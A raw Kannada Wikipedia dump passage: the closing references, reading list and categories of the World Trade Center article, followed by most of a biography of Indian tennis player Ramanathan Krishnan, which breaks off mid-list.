''ಸ್ಪೈಡರ್-ಮ್ಯಾನ್'' .<ref>{{Cite news|url=http://community.seattletimes.nwsource.com/archive/?date=20020602&slug=broder02 |title=Spider-Man swings too close to reality |author=Broder, David S. |work=Seattle Times |date=June 2, 2002 |accessdate=November 22, 2008}}</ref> 2008ರಂತೆ, ಜನಪ್ರಿಯ ದೂರದರ್ಶನ ದಾರವಾಹಿಗಳಾದ ''ಫ್ರೆಂಡ್ಸ್‌'' ನಲ್ಲಿ ಎಸ್ಟಾಬ್ಲಿಷಿಂಗ್ ಶಾಟ್ಸ್ ಹಾಗೂ ''ದಿ ಸಿಂಪ್ಸನ್ಸ್‌''[[ನ [[ಸರಣಿಗಳಲ್ಲಿ]]]]'' '' ಅವಳಿ ಕಟ್ಟಡಗಳನ್ನು ಹಾಗೇ ತೋರಿಸಲಾಗಿದೆ. 9/11ರ ದಾಳಿಗೆ ಒಳಗಾದವರ ಗೌರವಾರ್ಥ ಕಟ್ಟಿದ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದಲ್ಲಿ ಎಚ್‌ಬಿಒ‌ನ ''ಸೆಕ್ಸ್ ಅಂಡ್ ದಿ ಸಿಟಿ'' ಮತ್ತು ''ದಿ ಸೊಪ್ರನೊಸ್‌'' ಸರಣಿಗಳಲ್ಲಿ ಚಿತ್ರೀಕರಣ ಮಾಡಿಕೊಳ್ಳಲಾಗಿದೆ.<ref>{{Cite news|url=http://www.usatoday.com/life/television/news/2002-07-18-sex-and-the-city_x.htm |title=Breaking down 'Sex and the City' |author=Oldenburg, Ann |work=[[USA Today]] |date=July 18, 2002 |accessdate=November 22, 2008}}</ref> ಫಾಕ್ಸ್ ಸರಣಿ ''ಫ್ರಿಂಜ್‌'' ನ ಸೀಸನ್ ಒಂದರ ಅಂತಿಮ ಸುತ್ತಿನಲ್ಲಿ ನ್ಯೂಯಾರ್ಕ್ ನಗರದ ಸಮಾಂತರವಾದ ಒಂದು ಪ್ರಪಂಚದಲ್ಲಿ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರವನ್ನು ತೋರಿಸಿದ್ದಾರೆ.<ref>{{cite news |url=http://memles.wordpress.com/2009/05/12/season-finale-fringe-theres-more-than-one-of-everything/ |title=Season Finale: Fringe – There’s More Than One of Everything |date=May 12, 2009 |publisher=Cultural Learnings |accessdate=31 October 2010 }}</ref> ==ಇವನ್ನೂ ನೋಡಿ== * 10048 * ನೆಲ ಶೂನ್ಯ * ಯೋಜನೆಯ ಮರುಹುಟ್ಟು * ಸೆಪ್ಟೆಂಬರ್ 11ರ ದಾಳಿ * ದಿ ಸ್ಪಿಯರ್ * ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ ಸೈಟ್ ==ಉಲ್ಲೇಖಗಳು== {{Reflist|2}} ==ಹೆಚ್ಚಿನ ಓದಿಗಾಗಿ== * {{Cite book|author=Cudahy, Brian J. |title=Rails Under the Mighty Hudson |publisher=Fordham University Press |year=2002 |isbn=0823221903}} * {{Cite book|author=Darton, Eric |title=Divided We Stand: A Biography of New York's World Trade Center |publisher=Basic Books |year=1999 |isbn=0465017274}} * {{Cite book|author=Fanella, David A., Arnaldo T. Derecho, S.K. Ghosh |url=http://wtc.nist.gov/pubs/NISTNCSTAR1-1A.pdf |title=Design and Construction of Structural Systems (NCSTAR 1-1A) |publisher=National Institute of Standards and Technology (NIST) |series=Final Report on the Collapse of the World Trade Center Towers |date = September 2005|format=PDF}} * {{Cite book|author=Gillespie, Angus K. |year=1999 |title=Twin Towers: The Life of New York City's World Trade Center |publisher=Rutgers University Press |isbn=0813527422}} * {{Cite book|author=Glanz, James and Eric Lipton |title=City in the Sky |publisher=Times Books |year=2003 |isbn=0805074287}} * {{Cite book|author=Lew, H.S., Richard W. Bukowski, Nicholas J. Carino |url=http://wtc.nist.gov/pubs/NISTNCSTAR1-1.pdf |title=Design, Construction, and Maintenance of Structural and Life Safety Systems (NCSTAR 1-1) |series=Final Reports of the Federal Building and Fire Investigation of the World Trade Center Disaster |publisher=National Institute of Standards and Technology (NIST) |format=PDF |date=September 2005}} * {{Cite book|author=Reeve, Simon |title=The New Jackals: Ramzi Yousef, Osama bin Laden and the Future of Terrorism |publisher=Northeastern University Press |year=1999 |isbn=1555535097}} * {{Cite book|author=Ruchelman, Leonard I. |title=The World Trade Center: Politics and Policies of Skyscraper Development |publisher=Syracuse University Press |year=1977 |isbn=0815621809}} * {{Cite book|author=National Construction Safety Team |url=http://wtc.nist.gov/NCSTAR1/PDF/NCSTAR%201-6.pdf |format=PDF | title=Federal Building and Fire Safety Investigation of the World Trade Center Disaster (NCSTAR 1-6) |series=Structural Fire Response and Probable Collapse Sequence of the World Trade Center Towers |publisher=National Institute of Standards and Technology (NIST) |date=September 2005}} * {{Cite web|publisher=Federal Emergency Management Agency |month=May | year=2002 |title=World Trade Center Building Performance Study |url=http://www.fema.gov/rebuild/mat/wtcstudy.shtm}} ==ಬಾಹ್ಯ ಕೊಂಡಿಗಳು== {{Commons category|World Trade Center (New York)}} *[http://www.wtc.com/ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ] – ಸಿಲ್ವರ್‌ಸ್ಟೇನ್ ಪ್ರಾಪರ್ಟೀಸ್ *[https://web.archive.org/web/19970419124808/http://www.panynj.gov/wtc/wtcfram.HTM ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ] – ನ್ಯೂಯಾರ್ಕ್ & ನ್ಯೂಜೆರ್ಸಿಯ ಬಂದರು ಪ್ರಾಧಿಕಾರ *[http://www.panynj.gov/wtcprogress/index.html ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ ಅಭಿವೃದ್ಧಿ] – ನ್ಯೂಯಾರ್ಕ್ & ನ್ಯೂಜೆರ್ಸಿಯ ಬಂದರು ಪ್ರಾಧಿಕಾರ *[http://www.national911memorial.org/ ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರದ ರಾಷ್ಟ್ರೀಯ ಸೆಪ್ಟೆಂಬರ್ 11 ಸ್ಮಾರಕ ವಸ್ತುಸಂಗ್ರಹಾಲಯ] *{{Dmoz|Regional/North_America/United_States/New_York/Localities/N/New_York_City/Manhattan/Arts_and_Entertainment/Architecture/World_Trade_Center/|World Trade Center}} *[http://www.life.com/image/first/in-gallery/33502/building-the-twin-towers-a-tribute ಅವಳಿ ಕಟ್ಟಡಗಳ ನಿರ್ಮಾಣ: ಗೌರವ ಸಲ್ಲಿಕೆ] {{Webarchive|url=https://web.archive.org/web/20100619233331/http://www.life.com/image/first/in-gallery/33502/building-the-twin-towers-a-tribute |date=ಜೂನ್ 19, 2010 }} – ''ಲೈಫ್'' ಮ್ಯಾಗಝೀನ್‌ನಿಂದ ಸ್ಲೈಡ್‌ ಪ್ರದರ್ಶನ {{S-start}} {{S-ach|rec}} {{S-bef|rows=4|before=[[Empire State Building]]}} {{S-ttl|title=[[List of tallest buildings in the world|Tallest building in the world]]|years=1972&ndash;1974}} {{S-aft|rows=3|after=[[Willis Tower|Sears Tower]]}} |- {{S-ttl|title=[[List of tallest buildings in the United States|Tallest building in the United States]]|years=1972&ndash;1974}} |- {{S-ttl|title=Building with the most floors|years=1972&ndash;2001}} |- {{S-ttl|title=[[List of tallest buildings in New York City|Tallest building in New York City]]|years=1973&ndash;2001}} {{S-aft|after=[[Empire State Building]]}} {{S-end}} {{Supertall skyscrapers}} {{World Trade Center}} {{Coord|40|42|42|N|74|00|45|W|region:US-NY_type:landmark|display=title}} {{Use mdy dates|date=August 2010}} [[ವರ್ಗ:ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕೇಂದ್ರ]] [[ವರ್ಗ:ಸೆಪ್ಟಂಬರ್ 11ರ ದಾಳಿಗೆ ನಾಶವಾದ ಕಟ್ಟಡಗಳು]] [[ವರ್ಗ:ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನ ನಾಶವಾದ ಹೆಗ್ಗುರುತುಗಳು]] [[ವರ್ಗ:ನ್ಯೂಯಾರ್ಕ್ ನಗರದ ಇತಿಹಾಸ]] [[ವರ್ಗ:ನ್ಯೂಯಾರ್ಕ್ ಮತ್ತು ನ್ಯೂಜೆರ್ಸಿ ನಗರಗಳ ಬಂದರು ಪ್ರಾಧಿಕಾರ]] [[ವರ್ಗ:ಅವಳಿ ಕಟ್ಟಡಗಳು]] [[ವರ್ಗ:ವಿಶ್ವದ ಹಿಂದಿನ ಅತಿ ಎತ್ತರದ ಕಟ್ಟಡಗಳು]] [[ವರ್ಗ:350 ಮೀಟರ್‌ಗಳಿಗಿಂತ ಎತ್ತರವಿರುವ ಗಗನಚುಂಬಿ ಕಟ್ಟಡಗಳು]] [[ವರ್ಗ:ನ್ಯೂಯಾರ್ಕ್ ನಗರದ ಗಗನಚುಂಬಿ ಕಟ್ಟಡಗಳು]] [[ವರ್ಗ:ಮ್ಯಾನ್‌ಹಟನ್ ನಗರದ ಆಫೀಸ್ ಕಟ್ಟಡಗಳು]] [[ವರ್ಗ:1654 ವಾಸ್ತುಶಿಲ್ಪ]] [[ವರ್ಗ:ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಪ್ರೇಕ್ಷಣೀಯ ಸ್ಥಳಗಳು]] [[fi:World Trade Center]] 7ike7rdit7dkxl2l3wq44rnlpcrns2a ರಾಮನಾಥನ್ ಕೃಷ್ಣನ್ 0 26588 1116401 1057908 2022-08-23T12:00:33Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki '''ರಾಮನಾಥನ್ ಕೃಷ್ಣನ್''' (ಜನನ ೧೧ ಏಪ್ರಿಲ್ ೧೯೩೭, ಭಾರತದ [[ಚೆನ್ನೈ|ಮದ್ರಾಸ್]] ನಲ್ಲಿ) [[ಭಾರತ|ಭಾರತದ]] ನಿವೃತ್ತ [[ಟೆನ್ನಿಸ್]] ಆಟಗಾರರಾಗಿದ್ದಾರೆ, ಇವರು ೧೯೫೦ ಹಾಗು ೧೯೬೦ರ ದಶಕದ ನಡುವೆ ವಿಶ್ವದ ಮುಂಚೂಣಿ ಟೆನ್ನಿಸ್ ಆಟಗಾರರಲ್ಲಿ ಒಬ್ಬರೆನಿಸಿದ್ದರು. [[ಚಿತ್ರ:The former Tennis players, Shri Ramanathan Krishnan and Shri Ramesh Krishnan called on the Union Minister of Youth Affairs and Sports, Dr. M.S. Gill, in New Delhi on November 26, 2009.jpg|thumb|ಮಧ್ಯದಲ್ಲಿರುವವರು, 2009ರಲ್ಲಿ]] ==ವೃತ್ತಿಜೀವನ== ಕೃಷ್ಣನ್ ತಮ್ಮ ತಂದೆ, T.K. ರಾಮನಾಥನ್ ರ ಮಾರ್ಗದರ್ಶನದಲ್ಲಿ ತಮ್ಮ ಕೌಶಲಗಳ ಒರೆ ಹಚ್ಚಿದರು. ನಂತರ ಶೀಘ್ರದಲ್ಲಿ ಎಲ್ಲ ಜೂನಿಯರ್ ಪ್ರಶಸ್ತಿಗಳನ್ನು ಬಾಚಿಕೊಳ್ಳುವ ಮೂಲಕ ರಾಷ್ಟ್ರೀಯ ಸುತ್ತಿನಲ್ಲಿ ಗಮನ ಸೆಳೆದರು. ===ವಿಂಬಲ್ಡನ್=== ೧೯೫೪ರಲ್ಲಿ, ಫೈನಲ್ ಪಂದ್ಯದಲ್ಲಿ ಆಶ್ಲೆ ಕೂಪರ್ ರನ್ನು ಪರಾಭವಗೊಳಿಸುವ ಮೂಲಕ ವಿಂಬಲ್ಡನ್ ನಲ್ಲಿ<ref name="Harmony magazine Feb 2005">{{Cite web |url=http://www.harmonyindia.org/hportal/VirtualPageView.jsp?page_id=6159 |title=ಹಾರ್ಮನಿ ಮ್ಯಾಗಜಿನ್ ಫೆಬ್ರವರಿ 2005 |access-date=2010-12-09 |archive-date=2012-09-30 |archive-url=https://www.webcitation.org/6B3iM93hQ?url=http://www.harmonyindia.org/hportal/VirtualPageView.jsp?page_id=6159 |url-status=dead }}</ref> ಬಾಲಕರ ಸಿಂಗಲ್ಸ್ ನಲ್ಲಿ ಪ್ರಶಸ್ತಿ ಗಳಿಸಿದ ಮೊದಲ ಏಷಿಯಾದ ಆಟಗಾರನೆನಿಸಿದರು. ೧೯೫೯ರಲ್ಲಿ, ಕೃಷ್ಣನ್ ವಿಂಬಲ್ಡನ್ ನಲ್ಲಿ ನಡೆದ ಪುರುಷರ ಸಿಂಗಲ್ಸ್ ಪಂದ್ಯದಲ್ಲಿ ಆಡುವುದರ ಜೊತೆಗೆ ಮೂರನೇ ಸುತ್ತಿನಲ್ಲಿ ಅಲೆಕ್ಸ್ ಒಲ್ಮೆಡೊಗೆ ಶರಣಾದರು. ನಂತರದಲ್ಲಿ ಅದೇ ವರ್ಷ, ಭಾರತದ ಪರ ಡೇವಿಸ್ ಕಪ್ ನಲ್ಲಿ, ಕೃಷ್ಣನ್ ಆಸ್ಟ್ರೇಲಿಯಾದ ರೊಡ್ ಲವೆರ್ ರನ್ನು ನಾಲ್ಕು ಸೆಟ್ ಗಳಲ್ಲಿ ಪರಾಭವಗೊಳಿಸಿದರು.(ವಿಂಬಲ್ಡನ್ ನ ಉಪಾಂತ ವಿಜಯಿ)<ref>[http://sportsillustrated.cnn.com/vault/article/magazine/MAG1070940/index.htm ಸ್ಪೋರ್ಟ್ಸ್ ಇಲ್ಲಸ್ಟ್ರೆಟೆಡ್ ಆಗಸ್ಟ್ 24,1959]</ref> ಈ ಪ್ರದರ್ಶನಗಳು ವಿಂಬಲ್ಡನ್ ನಲ್ಲಿ ಕೃಷ್ಣನ್ ರಿಗೆ ೧೯೬೦ರಲ್ಲಿ ಕ್ರಮಾಂಕದ ಪಟ್ಟಿಯಲ್ಲಿ ಏಳನೇ ಸ್ಥಾನ ಗಳಿಸಿಕೊಟ್ಟವು. ಇವರು ಸೆಮಿ-ಫೈನಲ್ಸ್ ಹಂತ ತಲುಪುವುದರ ಜೊತೆಗೆ ಅಂತಿಮವಾಗಿ ಚ್ಯಾಂಪಿಯನ್ ನೆಯಲೆ ಫ್ರೇಸರ್ ಎದುರು ಪರಾಭವಗೊಂಡರು<ref>{{Cite web |url=http://archives.chennaionline.com/chennaicitizen/1999/rkrish.asp |title=ಚೆನ್ನೈಆನ್ಲೈನ್ |access-date=2010-12-09 |archive-date=2010-08-20 |archive-url=https://web.archive.org/web/20100820035518/http://archives.chennaionline.com/chennaicitizen/1999/rkrish.asp |url-status=dead }}</ref>. ೧೯೬೧ರಲ್ಲಿ, ಕೃಷ್ಣನ್, ನೇರ ಸೆಟ್ಟುಗಳಲ್ಲಿ ರಾಯ್ ಎಮರ್ಸನ್ ರನ್ನು ಪರಾಭವಗೊಳಿಸುವ ಮೂಲಕ ವಿಂಬಲ್ಡನ್ ಸೆಮಿ-ಫೈನಲ್ಸ್ ಹಂತ ತಲುಪಿದರು; ಆದರೆ ಸೆಮಿಸ್ ನಲ್ಲಿ ಅಂತಿಮವಾಗಿ ಚ್ಯಾಂಪಿಯನ್ ರೊಡ್ ಲವೆರ್ ಗೆ ಶರಣಾದರು. ಕೃಷ್ಣನ್ ವಿಂಬಲ್ಡನ್ ನಲ್ಲಿ ಉನ್ನತ ಕ್ರಮಾಂಕದ ಸ್ಥಾನವನ್ನು(#೪) ೧೯೬೨ರಲ್ಲಿ ಗಳಿಸಿದರು. ಆದರೆ ಅವರ ಕಣಕಾಲಿಗುಂಟಾದ ಪೆಟ್ಟಿನಿಂದಾಗಿ ಪಂದ್ಯಾವಳಿಯನ್ನು ಮಧ್ಯದಲ್ಲೇ ಕೈಬಿಡಬೇಕಾಯಿತು<ref>ಮಜುಂದಾರ್ ಹಾಗು ಮಂಗನ್ ಸಂಪಾದಕರು (೨೦೦೫) ಸೌತ್ ಏಶಿಯನ್ ಸೊಸೈಟಿಯಲ್ಲಿ ಕ್ರೀಡೆ: ಹಿಂದೆ ಹಾಗು ಪ್ರಸಕ್ತ ISBN ೦-೪೧೫-೩೫೯೫೩-೮ [https://books.google.com/books?id=CBk2bV_EEK8C&amp;pg=PA123&amp;lpg=PA123&amp;dq='Ankle+injury+to+Ramanathan+Krishnan+at+Wimbledon'&amp;source=bl&amp;ots=z-efDjanxG&amp;sig=ojvk40WnLUG6K72vPzUR-gFMtTE&amp;hl=en&amp;ei=GyfKSuKJDMerlAegv6WSAw&amp;sa=X&amp;oi=book_result&amp;ct=result&amp;resnum=6#v=onepage&amp;q='Ankle%20injury%20to%20Ramanathan%20Krishnan%20at%20Wimbledon'&amp;f=false ]</ref>. ===ಡೇವಿಸ್ ಕಪ್ === ೧೯೬೬ರಲ್ಲಿ ಡೇವಿಸ್ ಕಪ್ ನ ಅಂತಿಮ ಹಂತ ತಲುಪಿದ ಭಾರತೀಯ ತಂಡದಲ್ಲಿ ಕೃಷ್ಣನ್ ಒಬ್ಬ ಪ್ರಮುಖ ಸದಸ್ಯರಾಗಿದ್ದರು. ಕೃಷ್ಣನ್ ವಿಲ್ಹೆಲ್ಮ್ ಬಂಗರ್ಟ್ ರನ್ನು(ಆ ವರ್ಷದ ವಿಂಬಲ್ಡನ್ ನಲ್ಲಿ ಫೈನಲ್ ಹಂತ ತಲುಪಿದ ಆಟಗಾರ) ಪರಾಭವಗೊಳಿಸುವ ಮೂಲಕ ಭಾರತವು ಅಂತರ-ವಲಯ ಸೆಮಿ-ಫೈನಲ್ಸ್ ನಲ್ಲಿ ಪಶ್ಚಿಮ ಜರ್ಮನಿಯನ್ನು ಅಚ್ಚರಿಗೊಳಿಸಿತು. [[ಕೊಲ್ಕತ್ತ|ಕೋಲ್ಕತ್ತಾ]]ದಲ್ಲಿ(ಅಂದಿಗೆ ಕಲ್ಕತ್ತಾ ಎಂದು ಪರಿಚಿತ), [[ಬ್ರೆಜಿಲ್]] ನ ವಿರುದ್ಧದ ಸೆಮಿ-ಫೈನಲ್ಸ್ ನಲ್ಲಿ ಎರಡೂ ಕಡೆಯವರು ಒಂದೊಂದು ಪಂದ್ಯವನ್ನು ಗೆದ್ದರು ಹಾಗು ಬ್ರೆಜಿಲಿಯನ್ ಚ್ಯಾಂಪಿಯನ್ ತೋಮಸ್ ಕೋಚ್ ವಿರುದ್ಧ ಕೃಷ್ಣನ್ ಆಡಿದ ಪಂದ್ಯವು ನಿರ್ಣಾಯಕವೆನಿಸಿತು. ಕೋಚ್ ಎರಡು ಸೆಟ್ಟುಗಳಲ್ಲಿ ಒಂದು ಅಂಕದಿಂದ ಮುಂದಿದ್ದು, ನಾಲ್ಕನೇ ಸೆಟ್ಟಿನಲ್ಲಿ ೫-೨ ಅಂಕಗಳಿಂದ ಮುಂಚೂಣಿಯಲ್ಲಿದ್ದರು. ಆಗ ಕೃಷ್ಣನ್ ೭-೫ ಅಂಕಗಳನ್ನು ಪಡೆದು ಸೆಟ್ಟನ್ನು ಗೆಲ್ಲುವುದರ ಜೊತೆಗೆ ಪಂದ್ಯವನ್ನು ಗೆದ್ದು ಅತ್ಯಂತ ಸ್ಮರಣೀಯವಾಗಿಸಿ ತಮ್ಮ ಸ್ಥಾನವನ್ನು ಮತ್ತೆ ಕಾಯ್ದುಕೊಂಡರು. [[ಆಸ್ಟ್ರೇಲಿಯ| ಆಸ್ಟ್ರೇಲಿಯ]] ವಿರುದ್ಧದ ಅಂತಿಮ ಪಂದ್ಯದಲ್ಲಿ ಕೃಷ್ಣನ್ ಹಾಗು ಜೈದೀಪ್ ಮುಖರ್ಜಿ ಡಬಲ್ಸ್ ರಬ್ಬರ್(ಮೂರಾಟದಲ್ಲಿ ಎರಡಾಟ ಗೆಲ್ಲುವುದು) ಗೆದ್ದರು.(ಜಾನ್ ನ್ಯೂಕೊಂಬೆ ಹಾಗು ಟೋನಿ ರೋಚೆ ವಿರುದ್ಧ), ಆದರೆ ಕೃಷ್ಣನ್ ಎರಡೂ ಸಿಂಗಲ್ಸ್ ಪಂದ್ಯಗಳಲ್ಲಿ (ಫ್ರೆಡ್ ಸ್ಟೋಲ್ಲೇ ಹಾಗು ರಾಯ್ ಎಮರ್ಸನ್ ವಿರುದ್ಧ) ಪರಾಭವಗೊಳ್ಳುವುದರ ಜೊತೆಗೆ ಭಾರತವು ೪-೧ ಅಂಕಗಳಿಂದ ಸೋಲನ್ನು ಅನುಭವಿಸಬೇಕಾಯಿತು.<ref>{{Cite web |url=http://tssonnet.com/tss2936/stories/20060909006003100.htm |title=ದಿ ನೆವರ್-ಸೇ-ಡೈ ಕ್ರಿಷ್: ಸ್ಪೋರ್ಟ್ಸ್ ಸ್ಟಾರ್ ವೀಕ್ಲಿ ಸೆಪ್ಟೆಂಬರ್ ೯, 2006 |access-date=2010-12-09 |archive-date=2012-09-30 |archive-url=https://www.webcitation.org/6B3iO87Ym?url=http://tssonnet.com/tss2936/stories/20060909006003100.htm |url-status=dead }}</ref> ಕೃಷ್ಣನ್ ೧೯೫೩ ಹಾಗು ೧೯೭೫ರ ನಡುವೆ ಭಾರತೀಯ ಡೇವಿಸ್ ಕಪ್ ನ ತಂಡದಲ್ಲಿ ಒಬ್ಬ ಸಾಧಾರಣ ಆಟಗಾರನಾಗಿರುವುದರ ಜೊತೆಗೆ ೬೯-೨೮ ಜಯದ ದಾಖಲೆಯನ್ನು ಒಟ್ಟುಗೂಡಿಸಿದರು.(ಸಿಂಗಲ್ಸ್ ನಲ್ಲಿ ೫೦-೧೯ ಹಾಗು ಡಬಲ್ಸ್ ನಲ್ಲಿ ೧೯-೯)<ref>[http://www.daviscup.com/en/players/player/profile.aspx?playerid=10002759 ಡೇವಿಸ್ ಕಪ್ ದಾಖಲೆ]</ref> ಕೃಷ್ಣನ್ ಸತತ ಎಂಟು ವರ್ಷಗಳ ಕಾಲ ಭಾರತದ ರಾಷ್ಟ್ರೀಯ ಟೆನ್ನಿಸ್ ಪ್ರಶಸ್ತಿಯನ್ನೂ ಸಹ ಗಳಿಸಿದರು. ==ಆಟದ ಶೈಲಿ== ಕೃಷ್ಣನ್ ರ ಆಟದ ಶೈಲಿಯು 'ಟಚ್ ಟೆನ್ನಿಸ್' ಎಂದು ಪರಿಚಿತವಾಗಿದೆ. ವಿಮರ್ಶಕರು ಕೃಷ್ಣನ್ ರನ್ನು ಅದ್ಭುತವೆಂದು ಸಂಬೋಧಿಸುತ್ತಾರೆ, ದಿ ಡೈಲಿ ಟೆಲಿಗ್ರ್ಯಾಫ್ ನ ಲಂಸೆ ಟಿನ್ಗೆಯ್, ಇವರ ಟೆನ್ನಿಸ್ ಶೈಲಿಯನ್ನು 'ಶುದ್ಧವಾದ ಪೌರಸ್ತ್ಯ ಮಾಂತ್ರಿಕತೆ' ಎಂದು ವಿವರಿಸಿದರೆ, ಮತ್ತೊಬ್ಬ ವಿಮರ್ಶಕರು ಇವರ ಶೈಲಿಯನ್ನು 'ಪೌರಸ್ತ್ಯ ಮಾಂತ್ರಿಕತೆ' ಎಂದು ವಿವರಿಸಿದ್ದಾರೆ<ref name="Sportstar Jan 28,2006">{{Cite web |url=http://www.hinduonnet.com/tss/tss2904/stories/20060128001303700.htm |title=ಸ್ಪೋರ್ಟ್ ಸ್ಟಾರ್ ಜನವರಿ 28,2006 |access-date=2010-12-09 |archive-date=2008-10-17 |archive-url=https://web.archive.org/web/20081017134616/http://www.hinduonnet.com/tss/tss2904/stories/20060128001303700.htm |url-status=dead }}</ref>. ತೀರ ಇತ್ತೀಚಿಗೆ, ರಾಬರ್ಟ್ ಫಿಲಿಪ್ 'ಕೃಷ್ಣನ್ ರ ಪ್ರತಿಯೊಂದು ಹಾಗು ಎಲ್ಲ ರಾಲಿಯು(ಒಂದರ ಮೇಲೊಂದಾಗಿ ಹಿಂದಿರುಗಿಸಿದ ಚೆಂಡಿನ ಹೊಡೆತಗಳ ಆರಂಭಿಕ ಶ್ರೇಣಿ) ಎಂದು ಬರೆಯುತ್ತಾರೆ<ref>[http://www.telegraph.co.uk/sport/tennis/frenchopen/2314464/Mirza-hits-back-for-modern-Muslims.html ದಿ ಡೈಲಿ ಟೆಲಿಗ್ರ್ಯಾಫ್ ಜನವರಿ 1, 2007]</ref>. ಅನುಭವಿ ಕ್ರೀಡಾ ಪತ್ರಕರ್ತ C.V. ನರಸಿಂಹನ್ ರ ಪ್ರಕಾರ, 'ಅವರ ಸರ್ವೀಸ್(ಚೆಂಡನ್ನು ಬೀಸು ಹೊಡೆತದಿಂದ ಎದುರು ಕೋರ್ಟಿಗೆ ಹೊಡೆಯುವುದು) ಬಲಯುತವಾದ ಅಸ್ತ್ರವಾಗಿರಲಿಲ್ಲ, ಜೊತೆಗೆ ಅವರು ಯಾವುದೇ ಬಲಯುತ ನೆಲದ ಹೊಡೆತಗಳನ್ನಾಗಲಿ ಮಾಡಿರಲಿಲ್ಲ. ಅವರು ಸ್ಥಿರತೆಯೊಂದಿಗೆ, ಓರೆಯಾದ ವಾಲಿಗಳು(ಚೆಂಡು ನೆಲವನ್ನು ಮುಟ್ಟುವ ಮುನ್ನವೇ ಅದನ್ನು ಹಿಂದಿರುಗಿಸುವುದು) ಹಾಗು ಆಗೊಮ್ಮೆ ಈಗೊಮ್ಮೆ ಬೀಸುತ್ತಿದ್ದ ಆಕರ್ಷಕ ಅರ್ಧ ವಾಲಿಯ ಬೀಳು ಹೊಡೆತದಿಂದ ಗೆಲುವನ್ನು ಸಾಧಿಸುತ್ತಿದ್ದರು'<ref name="Harmony magazine Feb 2005" />. ಅವರ ಶೈಲಿಗೆ ಪ್ರಾಧಾನ್ಯತೆ ನೀಡಿ ಕೌಶಲವನ್ನು ಸಾಧಿಸಿದ ಇತರ ಗಮನಾರ್ಹ ಆಟಗಾರರಲ್ಲಿ ರಾಫೆಲ್ ಒಸುನ, ನಿಕೋಲ ಪಿಯೆಟ್ರಂಗೆಲಿ ಹಾಗು ಕೃಷ್ಣನ್ ರ ಪುತ್ರ ರಮೇಶ್ ಸೇರಿದ್ದಾರೆ<ref>[https://www.theguardian.com/sport/2006/jan/08/features.sport8 ಅಬ್ಸರ್ವರ್ ಸ್ಪೋರ್ಟ್ಸ್ ಮಂಥ್ಲಿಯಲ್ಲಿ ಪಾಲ್ ಬೈಲಿ ಜನವರಿ 8, 2006]</ref>. ==ಪ್ರಶಸ್ತಿಗಳು== ಕೃಷ್ಣನ್ ಗೆ ೧೯೬೧ರಲ್ಲಿ ಅರ್ಜುನ ಪ್ರಶಸ್ತಿ, ೧೯೬೨ರಲ್ಲಿ [[ಪದ್ಮಶ್ರೀ]] ಹಾಗು ೧೯೬೭ರಲ್ಲಿ [[ಪದ್ಮಭೂಷಣ]] ಪ್ರಶಸ್ತಿ ನೀಡಿ ಗೌರವಿಸಲಾಯಿತು.<ref name="Sportstar Jan 28,2006" /> ==ಪುಸ್ತಕ== ಕೃಷ್ಣನ್, ತಮ್ಮ ಪುತ್ರ ರಮೇಶ್ ಕೃಷ್ಣನ್ ಹಾಗು ನಿರ್ಮಲ್ ಶೇಖರ್ ಜತೆಗೂಡಿ, 'ಏ ಟಚ್ ಆಫ್ ಟೆನ್ನಿಸ್: ದಿ ಸ್ಟೋರಿ ಆಫ್ ಏ ಟೆನ್ನಿಸ್ ಫ್ಯಾಮಿಲಿ' ಎಂಬ ಶೀರ್ಷಿಕೆಯುಳ್ಳ ಪುಸ್ತಕ ಬರೆದಿದ್ದಾರೆ.<ref>[http://www.indianexpress.com/res/web/pIe/ie/daily/19990408/isp08070.html ದಿ ಇಂಡಿಯನ್ ಎಕ್ಸ್ಪ್ರೆಸ್ಸ್ ಏಪ್ರಿಲ್ 8, 1999]</ref> ಪುಸ್ತಕವು, ಟೆನ್ನಿಸ್ ಆಟದಲ್ಲಿ ಕೃಷ್ಣನ್ ರ ಮೂರು ತಲೆಮಾರುಗಳ ಗಳ ಸಾಧನೆಯನ್ನು ಒಳಗೊಂಡಿದೆ, ಇದನ್ನು ಪೆಂಗ್ವಿನ್ ಬುಕ್ಸ್ ಇಂಡಿಯ ಬಿಡುಗಡೆ ಮಾಡಿದೆ<ref>, ಗೂಗಲ್ ಪುಸ್ತಕಗಳು</ref>. ==ಪ್ರಸಕ್ತ == ಕೃಷ್ಣನ್ ಇದೀಗ [[ಚೆನ್ನೈ|ಚೆನ್ನೈನಲ್ಲಿ]] ವಾಸಿಸುತ್ತಾರೆ, ಅಲ್ಲಿ ಅವರು ಅನಿಲ ವಿತರಣಾ ಏಜೆನ್ಸಿಯ ನಿರ್ವಹಣೆ ಮಾಡುತ್ತಾರೆ. ರಮೇಶ್ ಕೃಷ್ಣನ್, ವಿಂಬಲ್ಡನ್ ಜೂನಿಯರ್ ಪ್ರಶಸ್ತಿಯನ್ನು ಗೆಲ್ಲುವ ಮೂಲಕ ತಮ್ಮ ತಂದೆಯ ಸಾಧನೆಗೆ ಸರಿಸಮನಾದ ಸಾಧನೆಯನ್ನು ಮಾಡುವುದರ ಜೊತೆಗೆ, ೧೯೮೦ರ ದಶಕದಲ್ಲಿ ಭಾರತದ ಮುಂಚೂಣಿ ಟೆನ್ನಿಸ್ ಆಟಗಾರನಾದರು. ==ವೃತ್ತಿಜೀವನದ ಮುಖ್ಯಾಂಶಗಳು== *೧೯೫೪ - [[ವಿಂಬಲ್ಡನ್]] ಜೂನಿಯರ್ ಚ್ಯಾಂಪಿಯನ್. *೧೯೬೦ - [[ವಿಂಬಲ್ಡನ್]] - ಏಳನೇ ಕ್ರಮಾಂಕ ಸ್ಥಾನ ಗಳಿಕೆ, ಸೆಮಿ-ಫೈನಲ್ಸ್ ಹಂತ ತಲುಪಿದರು.(ಅಂತಿಮವಾಗಿ ಚ್ಯಾಂಪಿಯನ್ ನೆಯಾಲೆ 